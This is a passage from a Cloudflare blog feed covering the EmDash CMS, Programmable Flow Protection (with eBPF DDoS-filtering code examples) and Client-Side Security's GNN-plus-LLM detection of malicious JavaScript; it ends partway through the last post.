access to everything and can talk to the public Internet, the person adding the plugin knows exactly what access they are granting to it. The clearly defined boundaries allow you to make informed decisions about security risks and to zoom in on more specific risks that relate directly to the capabilities the plugin is given.</p><p>The more that both sites and platforms can trust the security model to provide constraints, the more that sites and platforms can trust plugins, and break free of centralized control of marketplaces and reputation. Put another way: if you trust that food safety is enforced in your city, you’ll be adventurous and try new places. If you can’t trust that there might be a staple in your soup, you’ll be consulting Google before every new place you try, and it’s harder for everyone to open new restaurants.</p>
    <div>
      <h3>Every EmDash site has x402 support built in — charge for access to content</h3>
      <a href="#every-emdash-site-has-x402-support-built-in-charge-for-access-to-content">
        
      </a>
    </div>
    <p>The business model of the web <a href="https://blog.cloudflare.com/content-independence-day-no-ai-crawl-without-compensation/"><u>is at risk</u></a>, particularly for content creators and publishers. The old way of making content widely accessible, allowing all clients free access in exchange for traffic, breaks when there is no human looking at a site to advertise to, and the client is instead their agent accessing the web on their behalf. Creators need ways to continue to make money in this new world of agents, and to build new kinds of websites that serve what people’s agents need and will pay for. Decades ago a new wave of creators created websites that became great businesses (often using WordPress to power them) and a similar opportunity exists today.</p><p><a href="https://www.x402.org/"><u>x402</u></a> is an open, neutral standard for Internet-native payments. It lets anyone on the Internet easily charge, and any client pay on-demand, on a pay-per-use basis. A client, such as an agent, sends a HTTP request and receives a HTTP 402 Payment Required status code. In response, the client pays for access on-demand, and the server can let the client through to the requested content.</p><p>EmDash has built-in support for x402. This means anyone with an EmDash site can charge for access to their content without requiring subscriptions and with zero engineering work. All you need to do is configure which content should require payment, set how much to charge, and provide a Wallet address. The request/response flow ends up looking like this:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3IKfYGHF6Pgi3jQf1ERRQC/48815ffec3e204f4f2c6f7a40f232a93/image4.png" />
          </figure><p>Every EmDash site has a built-in business model for the AI era.</p>
    <div>
      <h3>Solving scale-to-zero for WordPress hosting platforms</h3>
      <a href="#solving-scale-to-zero-for-wordpress-hosting-platforms">
        
      </a>
    </div>
    <p>WordPress is not serverless: it requires provisioning and managing servers, scaling them up and down like a traditional web application. To maximize performance, and to be able to handle traffic spikes, there’s no avoiding the need to pre-provision instances and run some amount of idle compute, or share resources in ways that limit performance. This is particularly true for sites with content that must be server rendered and cannot be cached.</p><p>EmDash is different: it’s built to run on serverless platforms, and make the most out of the <a href="https://developers.cloudflare.com/workers/reference/how-workers-works/"><u>v8 isolate architecture</u></a> of Cloudflare’s open source runtime <a href="https://github.com/cloudflare/workerd"><u>workerd</u></a>. On an incoming request, the Workers runtime instantly spins up an isolate to execute code and serve a response. It scales back down to zero if there are no requests. And it <a href="https://blog.cloudflare.com/workers-pricing-scale-to-zero/"><u>only bills for CPU time</u></a> (time spent doing actual work).</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3yIX0whveiJ7xQ9P20TeyA/84462e6ec58cab27fbd6bf1703efeabc/image7.png" />
          </figure><p>You can run EmDash anywhere, on any Node.js server — but on Cloudflare you can run millions of instances of EmDash using <a href="https://developers.cloudflare.com/cloudflare-for-platforms/"><u>Cloudflare for Platforms</u></a> that each instantly scale fully to zero or up to as many RPS as you need to handle, using the exact same network and runtime that the biggest websites in the world rely on.</p><p>Beyond cost optimizations and performance benefits, we’ve bet on this architecture at Cloudflare in part because we believe in having low cost and free tiers, and that everyone should be able to build websites that scale. We’re excited to help platforms extend the benefits of this architecture to their own customers, both big and small.</p>
    <div>
      <h3>Modern frontend theming and architecture via Astro</h3>
      <a href="#modern-frontend-theming-and-architecture-via-astro">
        
      </a>
    </div>
    <p>EmDash is powered by Astro, the web framework for content-driven websites. To create an EmDash theme, you create an Astro project that includes:</p><ul><li><p><b>Pages</b>: Astro routes for rendering content (homepage, blog posts, archives, etc.)</p></li><li><p><b>Layouts:</b> Shared HTML structure</p></li><li><p><b>Components:</b> Reusable UI elements (navigation, cards, footers)</p></li><li><p><b>Styles:</b> CSS or Tailwind configuration</p></li><li><p><b>A seed file:</b> JSON that tells the CMS what content types and fields to create</p></li></ul><p>This makes creating themes familiar to frontend developers who are <a href="https://npm-stat.com/charts.html?package=astro&amp;from=2024-01-01&amp;to=2026-03-30"><u>increasingly choosing Astro</u></a>, and to LLMs which are already trained on Astro.</p><p>WordPress themes, though incredibly flexible, operate with a lot of the same security risks as plugins, and the more popular and commonplace your theme, the more of a target it is. Themes run through integrating with <code>functions.php</code> which is an all-encompassing execution environment, enabling your theme to be both incredibly powerful and potentially dangerous. EmDash themes, as with dynamic plugins, turns this expectation on its head. Your theme can never perform database operations.</p>
    <div>
      <h3>An AI Native CMS — MCP, CLI, and Skills for EmDash</h3>
      <a href="#an-ai-native-cms-mcp-cli-and-skills-for-emdash">
        
      </a>
    </div>
    <p>The least fun part about working with any CMS is doing the rote migration of content: finding and replacing strings, migrating custom fields from one format to another, renaming, reordering and moving things around. This is either boring repetitive work or requires one-off scripts and  “single-use” plugins and tools that are usually neither fun to write nor to use.</p><p>EmDash is designed to be managed programmatically by your AI agents. It provides the context and the tools that your agents need, including:</p><ol><li><p><b>Agent Skills:</b> Each EmDash instance includes <a href="https://agentskills.io/home"><u>Agent Skills</u></a> that describe to your agent the capabilities EmDash can provide to plugins, the hooks that can trigger plugins, <a href="https://github.com/emdash-cms/emdash/blob/main/skills/creating-plugins/SKILL.md"><u>guidance on how to structure a plugin</u></a>, and even <a href="https://github.com/emdash-cms/emdash/blob/main/skills/wordpress-theme-to-emdash/SKILL.md"><u>how to port legacy WordPress themes to EmDash natively</u></a>. When you give an agent an EmDash codebase, EmDash provides everything the agent needs to be able to customize your site in the way you need.</p></li><li><p><b>EmDash CLI:</b> The <a href="https://github.com/emdash-cms/emdash/blob/main/docs/src/content/docs/reference/cli.mdx"><u>EmDash CLI</u></a> enables your agent to interact programmatically with your local or remote instance of EmDash. You can <a href="https://github.com/emdash-cms/emdash/blob/main/docs/src/content/docs/reference/cli.mdx#media-upload-file"><u>upload media</u></a>, <a href="https://github.com/emdash-cms/emdash/blob/main/docs/src/content/docs/reference/cli.mdx#emdash-search"><u>search for content</u></a>, <a href="https://github.com/emdash-cms/emdash/blob/main/docs/src/content/docs/reference/cli.mdx#schema-create-collection"><u>create and manage schemas</u></a>, and do the same set of things you can do in the Admin UI.</p></li><li><p><b>Built-in MCP Server:</b> Every EmDash instance provides its own remote Model Context Protocol (MCP) server, allowing you to do the same set of things you can do in the Admin UI.</p></li></ol>
    <div>
      <h3>Pluggable authentication, with Passkeys by default</h3>
      <a href="#pluggable-authentication-with-passkeys-by-default">
        
      </a>
    </div>
    <p>EmDash uses passkey-based authentication by default, meaning there are no passwords to leak and no brute-force vectors to defend against. User management includes familiar role-based access control out of the box: administrators, editors, authors, and contributors, each scoped strictly to the actions they need. Authentication is pluggable, so you can set EmDash up to work with your SSO provider, and automatically provision access based on IdP metadata.</p>
    <div>
      <h3>Import your WordPress sites to EmDash</h3>
      <a href="#import-your-wordpress-sites-to-emdash">
        
      </a>
    </div>
    <p>You can import an existing WordPress site by either going to WordPress admin and exporting a WXR file, or by installing the <a href="https://github.com/emdash-cms/wp-emdash/tree/main/plugins/emdash-exporter"><u>EmDash Exporter plugin</u></a> on a WordPress site, which configures a secure endpoint that is only exposed to you, and protected by a WordPress Application Password you control. Migrating content takes just a few minutes, and automatically works to bring any attached media into EmDash’s media library.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/SUFaWUIoEFSN2z9rclKZW/28870489d502cff34e35ab3b59f19eae/image1.png" />
          </figure><p>Creating any custom content types on WordPress that are not a Post or a Page has meant installing heavy plugins like Advanced Custom Fields, and squeezing the result into a crowded WordPress posts table. EmDash does things differently: you can define a schema directly in the admin panel, which will create entirely new EmDash collections for you, separately ordered in the database. On import, you can use the same capabilities to take any custom post types from WordPress, and create an EmDash content type from it. </p><p>For bespoke blocks, you can use the <a href="https://github.com/emdash-cms/emdash/blob/main/skills/creating-plugins/references/block-kit.md"><u>EmDash Block Kit Agent Skill</u></a> to instruct your agent of choice and build them for EmDash.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5xutdF9nvHYMYlN6XfqRGu/1db0e0d73327e926d606f92fdd7aabec/image3.png" />
          </figure>
    <div>
      <h3>Try it</h3>
      <a href="#try-it">
        
      </a>
    </div>
    <p>EmDash is v0.1.0 preview, and we’d love you to try it, give feedback, and we welcome contributions to the <a href="https://github.com/emdash-cms/emdash/"><u>EmDash GitHub repository</u></a>.</p><p>If you’re just playing around and want to first understand what’s possible — try out the admin interface in the <a href="https://emdashcms.com/"><u>EmDash Playground</u></a>.</p><p>To create a new EmDash site locally, via the CLI, run:</p><p><code>npm create emdash@latest</code></p><p>Or you can do the same via the Cloudflare dashboard below:</p><a href="https://deploy.workers.cloudflare.com/?url=https://github.com/emdash-cms/templates/tree/main/blog-cloudflare"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p><p>We’re excited to see what you build, and if you're active in the WordPress community, as a hosting platform, a plugin or theme author, or otherwise — we’d love to hear from you. Email us at emdash@cloudflare.com, and tell us what you’d like to see from the EmDash project.</p><p>If you want to stay up to date with major EmDash developments, you can leave your email address <a href="https://forms.gle/ofE1LYRYxkpAPqjE7"><u>here</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Open Source]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">64rkKr9jewVmxagIFgbwY4</guid>
            <dc:creator>Matt “TK” Taylor</dc:creator>
            <dc:creator>Matt Kane</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Programmable Flow Protection: custom DDoS mitigation logic for Magic Transit customers]]></title>
            <link>https://blog.cloudflare.com/programmable-flow-protection/</link>
            <pubDate>Tue, 31 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Magic Transit customers can now program their own DDoS mitigation logic and deploy it across Cloudflare’s global network. This enables precise, stateful mitigation for custom and proprietary UDP protocols. ]]></description>
            <content:encoded><![CDATA[ <p>We're proud to introduce <a href="https://developers.cloudflare.com/ddos-protection/advanced-ddos-systems/overview/programmable-flow-protection/"><u>Programmable Flow Protection</u></a>: a system designed to let <a href="https://www.cloudflare.com/network-services/products/magic-transit/"><u>Magic Transit</u></a> customers implement their own custom DDoS mitigation logic and deploy it across Cloudflare’s global network. This enables precise, stateful mitigation for custom and proprietary protocols built on UDP. It is engineered to provide the highest possible level of customization and flexibility to mitigate DDoS attacks of any scale. </p><p>Programmable Flow Protection is currently in beta and available to all Magic Transit Enterprise customers for an additional cost. Contact your account team to join the beta or sign up at <a href="https://www.cloudflare.com/en-gb/lp/programmable-flow-protection/"><u>this page</u></a>.</p>
    <div>
      <h3>Programmable Flow Protection is customizable</h3>
      <a href="#programmable-flow-protection-is-customizable">
        
      </a>
    </div>
    <p>Our existing <a href="https://www.cloudflare.com/ddos/"><u>DDoS mitigation systems</u></a> have been designed to understand and protect popular, well-known protocols from DDoS attacks. For example, our <a href="https://developers.cloudflare.com/ddos-protection/advanced-ddos-systems/overview/advanced-tcp-protection/"><u>Advanced TCP Protection</u></a> system uses specific known characteristics about the TCP protocol to issue challenges and establish a client’s legitimacy. Similarly, our <a href="https://blog.cloudflare.com/advanced-dns-protection/"><u>Advanced DNS Protection</u></a> builds a per-customer profile of DNS queries to mitigate DNS attacks. Our generic DDoS mitigation platform also understands common patterns across a variety of other well known protocols, including NTP, RDP, SIP, and many others.</p><p>However, custom or proprietary UDP protocols have always been a challenge for Cloudflare’s DDoS mitigation systems because our systems do not have the relevant protocol knowledge to make intelligent decisions to pass or drop traffic. </p><p>Programmable Flow Protection addresses this gap. Now, customers can write their own <a href="https://ebpf.io/"><u>eBPF</u></a> program that defines what “good” and “bad” packets are and how to deal with them. Cloudflare then runs the program across our entire global network. The program can choose to either drop or challenge “bad” packets, preventing them from reaching the customer’s origin. </p>
    <div>
      <h3>The problem of UDP-based attacks</h3>
      <a href="#the-problem-of-udp-based-attacks">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/learning/ddos/glossary/user-datagram-protocol-udp/"><u>UDP</u></a> is a connectionless transport layer protocol. Unlike TCP, UDP has no handshake or stateful connections. It does not promise that packets will arrive in order or exactly once. UDP instead prioritizes speed and simplicity, and is therefore well-suited for online gaming, VoIP, video streaming, and any other use case where the application requires real-time communication between clients and servers.</p><p>Our DDoS mitigation systems have always been able to detect and mitigate attacks against well-known protocols built on top of UDP. For example, the standard DNS protocol is built on UDP, and each DNS packet has a well-known structure. If we see a DNS packet, we know how to interpret it. That makes it easier for us to detect and drop DNS-based attacks. </p><p>Unfortunately, if we don’t understand the protocol inside a UDP packet’s payload, our DDoS mitigation systems have limited options available at mitigation time. If an attacker <a href="https://www.cloudflare.com/learning/ddos/udp-flood-ddos-attack/"><u>sends a large flood of UDP traffic</u></a> that does not match any known patterns or protocols, Cloudflare can either entirely block or apply a rate limit to the destination IP and port combination. This is a crude “last line of defense” that is only intended to keep the rest of the customer’s network online, and it can be painful in a couple ways. </p><p>First, a block or a generic <a href="https://www.cloudflare.com/learning/bots/what-is-rate-limiting/"><u>rate limit</u></a> does not distinguish good traffic from bad, which means these mitigations will likely cause legitimate clients to experience lag or connection loss — doing the attacker’s job for them! Second, a generic rate limit can be too strict or too lax depending on the customer. For example, a customer who expects to receive 1Gbps of legitimate traffic probably needs more aggressive rate limiting compared to a customer who expects to receive 25Gbps of legitimate traffic.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/L8PZ6eWn9nkpATaNcUinB/b6c12b4be815fbd4e71166b6f0c30329/BLOG-3182_2.png" />
          </figure><p><sup><i>An illustration of UDP packet contents. A user can define a valid payload and reject traffic that doesn’t match the defined pattern.</i></sup></p><p>The Programmable Flow Protection platform was built to address this problem by allowing our customers to dictate what “good” versus “bad” traffic actually looks like. Many of our customers use custom or proprietary UDP protocols that we do not understand — and now we don’t have to.</p>
    <div>
      <h3>How Programmable Flow Protection works</h3>
      <a href="#how-programmable-flow-protection-works">
        
      </a>
    </div>
    <p>In previous blog posts, we’ve described how “flowtrackd”, our <a href="https://blog.cloudflare.com/announcing-flowtrackd/"><u>stateful network layer DDoS mitigation system</u></a>, protects Magic Transit users from complex TCP and DNS attacks. We’ve also described how we use Linux technologies like <a href="https://blog.cloudflare.com/l4drop-xdp-ebpf-based-ddos-mitigations/"><u>XDP</u></a> and <a href="https://blog.cloudflare.com/cloudflare-architecture-and-how-bpf-eats-the-world/"><u>eBPF</u></a> to efficiently mitigate common types of large scale DDoS attacks. </p><p>Programmable Flow Protection combines these technologies in a novel way. With Programmable Flow Protection, a customer can write their own eBPF program that decides whether to pass, drop, or challenge individual packets based on arbitrary logic. A customer can upload the program to Cloudflare, and Cloudflare will execute it on every packet destined to their network. Programs are executed in userspace, not kernel space, which allows Cloudflare the flexibility to support a variety of customers and use cases on the platform without compromising security. Programmable Flow Protection programs run after all of Cloudflare’s existing DDoS mitigations, so users still benefit from our standard security protections. </p><p>There are many similarities between an XDP eBPF program loaded into the Linux kernel and an eBPF program running on the Programmable Flow Protection platform. Both types of programs are compiled down to BPF bytecode. They are both run through a “verifier” to ensure memory safety and verify program termination. They are also executed in a fast, lightweight VM to provide isolation and stability.</p><p>However, eBPF programs loaded into the Linux kernel make use of many Linux-specific “helper functions” to integrate with the network stack, maintain state between program executions, and emit packets to network devices. Programmable Flow Protection offers the same functionality whenever a customer chooses, but with a different API tailored specifically to implement DDoS mitigations. For example, we’ve built helper functions to store state about clients between program executions, perform cryptographic validation, and emit challenge packets to clients. With these helper functions, a developer can use the power of the Cloudflare platform to protect their own network.</p>
    <div>
      <h3>Combining customer knowledge with Cloudflare’s network</h3>
      <a href="#combining-customer-knowledge-with-cloudflares-network">
        
      </a>
    </div>
    <p>Let’s step through an example to illustrate how a customer’s protocol-specific knowledge can be combined with Cloudflare’s network to create powerful mitigations.</p><p>Say a customer hosts an online gaming server on UDP port 207. The game engine uses a proprietary application header that is specific to the game. Cloudflare has no knowledge of the structure or contents of the application header. The customer gets hit by DDoS attacks that overwhelm the game server and players report lag in gameplay. The attack traffic comes from highly randomized source IPs and ports, and the payload data appears to be random as well. </p><p>To mitigate the attack, the customer can use their knowledge of the application header and deploy a Programmable Flow Protection program to check a packet’s validity. In this example, the application header contains a token that is unique to the gaming protocol. The customer can therefore write a program to extract the last byte of the token. The program passes all packets with the correct value present and drops all other traffic:</p>
            <pre><code>#include &lt;linux/ip.h&gt;
#include &lt;linux/udp.h&gt;
#include &lt;arpa/inet.h&gt;

#include "cf_ebpf_defs.h"
#include "cf_ebpf_helper.h"

// Custom application header
struct apphdr {
    uint8_t  version;
    uint16_t length;   // Length of the variable-length token
    uint8_t  token[0]; // Variable-length token
} __attribute__((packed));

uint64_t
cf_ebpf_main(void *state)
{
    struct cf_ebpf_generic_ctx *ctx = state;
    struct cf_ebpf_parsed_headers headers;
    struct cf_ebpf_packet_data *p;

    // Parse the packet headers with provided helper function
    if (parse_packet_data(ctx, &amp;p, &amp;headers) != 0) {
        return CF_EBPF_DROP;
    }

    // Drop packets not destined to port 207
    struct udphdr *udp_hdr = (struct udphdr *)headers.udp;
    if (ntohs(udp_hdr-&gt;dest) != 207) {
        return CF_EBPF_DROP;
    }

    // Get application header from UDP payload
    struct apphdr *app = (struct apphdr *)(udp_hdr + 1);
    if ((uint8_t *)(app + 1) &gt; headers.data_end) {
        return CF_EBPF_DROP;
    }

    // Perform memory checks to satisfy the verifier
    // and access the token safely
    if ((uint8_t *)(app-&gt;token + token_len) &gt; headers.data_end) {
        return CF_EBPF_DROP;
    }

    // Check the last byte of the token against expected value
    uint8_t *last_byte = app-&gt;token + token_len - 1;
    if (*last_byte != 0xCF) {
        return CF_EBPF_DROP;
    }

    return CF_EBPF_PASS;
}</code></pre>
            <p><sup><i>An eBPF program to filter packets according to a value in the application header.</i></sup></p><p>This program leverages application-specific information to create a more targeted mitigation than Cloudflare is capable of crafting on its own. <b>Customers can now combine their proprietary knowledge with the capacity of Cloudflare’s global network to absorb and mitigate massive attacks better than ever before.</b></p>
    <div>
      <h3>Going beyond firewalls: stateful tracking and challenges</h3>
      <a href="#going-beyond-firewalls-stateful-tracking-and-challenges">
        
      </a>
    </div>
    <p>Many pattern checks, like the one performed in the example above, can be accomplished with traditional firewalls. However, programs provide useful primitives that are not available in firewalls, including variables, conditional execution, loops, and procedure calls. But what really sets Programmable Flow Protection apart from other solutions is its ability to statefully track flows and challenge clients to prove they are real. A common type of attack that showcases these abilities is a <i>replay attack</i>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Pgo9uUQDY1GTrxAOAOgiK/52c6d6a329cce05ff11ba3e4694313b2/BLOG-3182_3.png" />
          </figure><p>In a replay attack, an attacker repeatedly sends packets that were valid at <i>some</i> point, and therefore conform to expected patterns of the traffic, but are no longer valid in the application’s current context. For example, the attacker could record some of their valid gameplay traffic and use a script to duplicate and transmit the same traffic at a very high rate.</p><p>With Programmable Flow Protection, a user can deploy a program that challenges suspicious clients and drops scripted traffic. We can extend our original example as follows:</p>
            <pre><code>
#include &lt;linux/ip.h&gt;
#include &lt;linux/udp.h&gt;
#include &lt;arpa/inet.h&gt;

#include "cf_ebpf_defs.h"
#include "cf_ebpf_helper.h"

uint64_t
cf_ebpf_main(void *state)
{
    // ...
 
    // Get the status of this source IP (statefully tracked)
    uint8_t status;
    if (cf_ebpf_get_source_ip_status(&amp;status) != 0) {
        return CF_EBPF_DROP;
    }

    switch (status) {
        case NONE:
		// Issue a custom challenge to this source IP
             issue_challenge();
             cf_ebpf_set_source_ip_status(CHALLENGED);
             return CF_EBPF_DROP;


        case CHALLENGED:
		// Check if this packet passes the challenge
		// with custom logic
             if (verify_challenge()) {
                 cf_ebpf_set_source_ip_status(VERIFIED);
                 return CF_EBPF_PASS;
             } else {
                 cf_ebpf_set_source_ip_status(BLOCKED);
                 return CF_EBPF_DROP;
             }


        case VERIFIED:
		// This source IP has passed the challenge
		return CF_EBPF_PASS;

	 case BLOCKED:
		// This source IP has been blocked
		return CF_EBPF_DROP;

        default:
            return CF_EBPF_PASS;
    }


    return CF_EBPF_PASS;
}
</code></pre>
            <p><sup><i>An eBPF program to challenge UDP connections and statefully manage connections. This example has been simplified for illustration purposes.</i></sup></p><p>The program statefully tracks the source IP addresses it has seen and emits a packet with a cryptographic challenge back to unknown clients. A legitimate client running a valid gaming client is able to correctly solve the challenge and respond with proof, but the attacker’s script is not. Traffic from the attacker is marked as “blocked” and subsequent packets are dropped.</p><p>With these new abilities, customers can statefully track flows and make sure only real, verified clients can send traffic to their origin servers. Although we have focused the example on gaming, the potential use cases for this technology extend to any UDP-based protocol.</p>
    <div>
      <h3>Get started today</h3>
      <a href="#get-started-today">
        
      </a>
    </div>
    <p>We’re excited to offer the Programmable Flow Protection feature to Magic Transit Enterprise customers. Talk to your account manager to learn more about how you can enable Programmable Flow Protection to help keep your infrastructure safe.</p><p>We’re still in active development of the platform, and we’re excited to see what our users build next. If you are not yet a Cloudflare customer, let us know if you’d like to protect your network with Cloudflare and Programmable Flow Protection by signing up at this page: <a href="https://www.cloudflare.com/lp/programmable-flow-protection/"><u>https://www.cloudflare.com/lp/programmable-flow-protection/</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Beta]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[UDP]]></category>
            <category><![CDATA[eBPF]]></category>
            <category><![CDATA[Magic Transit]]></category>
            <category><![CDATA[Network Services]]></category>
            <guid isPermaLink="false">64lPEfE3ML34AycHER46Tz</guid>
            <dc:creator>Anita Tenjarla</dc:creator>
            <dc:creator>Alex Forster</dc:creator>
            <dc:creator>Cody Doucette</dc:creator>
            <dc:creator>Venus Xeon-Blonde</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare Client-Side Security: smarter detection, now open to everyone]]></title>
            <link>https://blog.cloudflare.com/client-side-security-open-to-everyone/</link>
            <pubDate>Mon, 30 Mar 2026 06:00:00 GMT</pubDate>
            <description><![CDATA[ We are opening our advanced Client-Side Security tools to all users, featuring a new cascading AI detection system. By combining graph neural networks and LLMs, we've reduced false positives by up to 200x while catching sophisticated zero-day exploits. ]]></description>
            <content:encoded><![CDATA[ <p>Client-side skimming attacks have a boring superpower: they can steal data without breaking anything. The page still loads. Checkout still completes. All it needs is just one malicious script tag.</p><p>If that sounds abstract, here are two recent examples of such skimming attacks:</p><ul><li><p>In January 2026, <a href="https://sansec.io/research/keylogger-major-us-bank-employees"><u>Sansec reported</u></a> a browser-side keylogger running on an employee merchandise store for a major U.S. bank, harvesting personal data, login credentials, and credit card information.</p></li><li><p>In September 2025, attackers published malicious releases of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>widely used npm packages</u></a>. If those packages were bundled into front-end code, end users could be exposed to crypto-stealing in the browser.</p></li></ul><p>To further our goal of building a better Internet, Cloudflare established a core tenet during our <a href="https://www.cloudflare.com/innovation-week/birthday-week-2025/"><u>Birthday Week 2025</u></a>: powerful security features should be accessible <a href="https://blog.cloudflare.com/enterprise-grade-features-for-all/"><u>without requiring a sales engagement</u></a>. In pursuit of this objective, we are announcing two key changes today:</p><p>First, Cloudflare <b>Client-Side Security Advanced</b> (formerly <b>Page Shield add-on</b>) is now <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>available to self-serve</u></a> customers. And second, domain-based threat intelligence is now complimentary for all customers on the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>free </u><b><u>Client-Side Security</u></b><u> bundle</u></a>.</p><p>In this post, we’ll explain how this product works and highlight a new AI detection system designed to identify malicious JavaScript while minimizing false alarms. We’ll also discuss several real-world applications for these tools.</p>
    <div>
      <h2>How Cloudflare Client-Side Security works</h2>
      <a href="#how-cloudflare-client-side-security-works">
        
      </a>
    </div>
    <p>Cloudflare Client-Side Security assesses 3.5 billion scripts per day, protecting 2,200 scripts per enterprise zone on average.</p><p>Under the hood, Client-Side Security collects these signals using browser reporting (for example, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP"><u>Content Security Policy</u></a>), which means you don’t need scanners or app instrumentation to get started, and there is zero latency impact to your web applications. The only prerequisite is that your traffic is proxied through Cloudflare.</p><p>Client-Side Security <b>Advanced</b> provides immediate access to powerful security features:</p><ul><li><p><b>Smarter malicious script detection:</b> Using in-house machine learning, this capability is now enhanced with assessments from a Large Language Model (LLM). Read more details below.</p></li><li><p><b>Code change monitoring:</b> Continuous code change detection and monitoring is included, which is essential for meeting compliance like<a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"> <u>PCI DSS v4</u></a>, requirement 11.6.1.</p></li><li><p><b>Proactive blocking rules:</b> Benefit from positive content security rules that are maintained and enforced through continuous monitoring.</p></li></ul>
    <div>
      <h2>Detecting malicious intent JavaScripts</h2>
      <a href="#detecting-malicious-intent-javascripts">
        
      </a>
    </div>
    <p>Managing client-side security is a massive data problem. For an average enterprise zone, our systems observe approximately 2,200 unique scripts; smaller business zones frequently handle around 1,000. This volume alone is difficult to manage, but the real challenge is the volatility of the code.</p><p>Roughly a third of these scripts undergo code updates within any 30-day window. If a security team attempted to manually approve every new DOM (document object model) interaction or outbound connection, the resulting overhead would paralyze the development pipeline.</p><p>Instead, our detection strategy focuses on <i>what a script is trying to do</i>. That includes intent classification work <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>we’ve written about previously</u></a>. In short, we analyze the script's behavior using an Abstract Syntax Tree (AST). By breaking the code down into its logical structure, we can identify patterns that signal malicious intent, regardless of how the code is obfuscated.</p>
    <div>
      <h2>The high cost of false positives</h2>
      <a href="#the-high-cost-of-false-positives">
        
      </a>
    </div>
    <p>Client-side security operates differently than active vulnerability scanners deployed across the web, where a Web Application Firewall (WAF) would constantly observe matched attack signatures. While a WAF constantly blocks high-volume automated attacks, a client-side compromise (such as a breach of an origin server or a third-party vendor) is a rare, high-impact event. In an enterprise environment with rigorous vendor reviews and code scanning, these attacks are rare.</p><p>This rarity creates a problem. Because real attacks are infrequent, a security system’s detections are statistically more likely to be false positives. For a security team, these false alarms create fatigue and hide real threats. To solve this, we integrated a Large Language Model (LLM) into our detection pipeline, drastically reducing the false positive rate.</p>
    <div>
      <h2>Adding an LLM-based second opinion for triage</h2>
      <a href="#adding-an-llm-based-second-opinion-for-triage">
        
      </a>
    </div>
    <p>Our <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>frontline detection engine</u></a> is a Graph Neural Network (GNN). GNNs are particularly well-suited for this task: they operate on the Abstract Syntax Tree (AST) of the JavaScript code, learning structural representations that capture execution patterns regardless of variable renaming, minification, or obfuscation. In machine learning terms, the GNN learns an embedding of the code’s graph structure that generalizes across syntactic variations of the same semantic behavior.</p><p>The GNN is tuned for high recall. We want to catch novel, zero-day threats. Its precision is already remarkably high: less than 0.3% of total analyzed traffic is flagged as a false positive (FP). However, at Cloudflare’s scale of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>3.5 billion scripts assessed daily</u></a>, even a sub-0.3% FP rate translates to a volume of false alarms that can be disruptive to customers.</p><p>The core issue is a classic class imbalance problem. While we can collect extensive malicious samples, the sheer diversity of benign JavaScript across the web is practically infinite. Heavily obfuscated but perfectly legitimate scripts — like bot challenges, tracking pixels, ad-tech bundles, and minified framework builds — can exhibit structural patterns that overlap with malicious code in the GNN’s learned feature space. As much as we try to cover a huge variety of interesting benign cases, the model simply has not seen enough of this infinite variety during training.</p><p>This is precisely where Large Language Models (LLMs) complement the GNN. LLMs possess a deep semantic understanding of real-world JavaScript practices: they recognize domain-specific idioms, common framework patterns, and can distinguish sketchy-but-innocuous obfuscation from genuinely malicious intent.</p><p>Rather than replacing the GNN, we designed a cascading classifier architecture:</p><ol><li><p><b>Every script is first evaluated by the GNN</b>. If the GNN predicts the script as benign, the detection pipeline terminates immediately. <b>This incurs only the minimal latency of the GNN for the vast majority of traffic, completely bypassing the heavier computation time of the LLM</b>.</p></li><li><p>If the GNN flags the script as potentially malicious (above the decision threshold), the script is <b>forwarded to an open-source LLM</b> hosted on Cloudflare <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> for a second opinion.</p></li><li><p>The LLM, provided with a security-specialized prompt context, <b>semantically evaluates the script’s intent</b>. If it determines the script is benign, it overrides the GNN’s verdict.</p></li></ol><p>This two-stage design gives us the best of both worlds: the GNN’s high recall for structural malicious patterns, combined with the LLM’s broad semantic understanding to filter out false positives.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/438frLuYPU51j0uhtM5foj/10c53b3b3ccc84b00c754c872ad20492/image3.png" />
